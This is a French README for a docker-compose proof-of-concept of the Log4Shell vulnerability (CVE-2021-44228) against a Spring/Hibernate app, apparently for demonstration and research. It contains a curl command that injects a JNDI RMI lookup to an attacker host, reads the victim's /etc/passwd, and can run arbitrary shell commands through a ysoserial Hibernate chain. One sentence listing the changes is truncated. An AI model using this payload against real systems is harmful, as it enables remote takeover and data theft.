
CVE-2021-44228 POC - Spring / Hibernate
Ce POC utilise Spring / Hibernate, cependant une approche similaire de rmi -> désérialisation pourrait être utilisée pour déclencher n'importe quelle vulnérabilité de désérialisation
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
Vous devriez voir le contenu de /etc/passwd de la victime apparaître dans les logs du conteneur attacker.
Vous pouvez remplacer la commande dans le service exploit pour exécuter n'importe quelle commande shell sur la victime.
La victime exécute une application spring starter standard avec les dépendances "Spring Data JPA" (pour Hibernate), "Spring Web" et "H2" (comme base de données). Seules 2 modifications ont été apportées en plus :
slf4j par le log4j vulnérableToutes les dépendances sont à jour. Aucun flag magique n'est activé.
La victime expose un endpoint POST sur / qui enregistre la requête.
L'exploit repose sur un fork de ysoserial utilisant le générateur d'exploit Hibernate. Pour que l'exploit fonctionne avec la dernière version d'Hibernate, nous devons recompiler ysoserial.